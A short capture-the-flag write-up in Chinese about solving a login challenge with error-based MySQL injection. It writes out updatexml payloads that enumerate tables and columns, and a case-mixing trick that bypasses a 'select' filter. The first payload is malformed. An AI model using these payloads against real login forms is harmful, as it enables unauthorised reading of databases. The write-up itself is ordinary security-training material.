看到题目是一个系统,尝试输入值。
返回账号不存在。尝试输入admin
发现是有这个值的,然后就没有头绪了,查看源代码发现提示。
根据提示开启mysql错误提示,并使用burp发包。
因为是报错,所以自然想到书上的报错注入并尝试使用。
name=admin'+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schem=database()))1,)#&pass=1
这里空格被+代替
发现出现问题,检查之后判断可能是select被过滤掉了,尝试使用大小写绕过
name=admin'+or+updatexml(1,concat(0x7e,(SeLeCt+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),1)#&pass=1
成功显示库名,接下来查看字段名。
name=admin'+or+updatexml(1,concat(0x7e,(SeLeCt+group_concat(column_name)+from+information_schema.columns+where+table_name='fl4g')),1)#&pass=1
查看flag
总结一下:其实很简单的题,但是因为对注入了解不够深入而浪费很多时间,第一要判断是什么类型的注入,字符型还是数字型,如果没有报错的提示,应该要花费很多时间,还有就是要对注入的语句熟悉,不要打错,或者少打多打,其次对过滤的符号,字符要清楚了解,select大小写与双写绕过,空格绕过等,最后还是要多做sql的题目,积累各种注入的知识与经验,才能拿到题时不一脸茫然!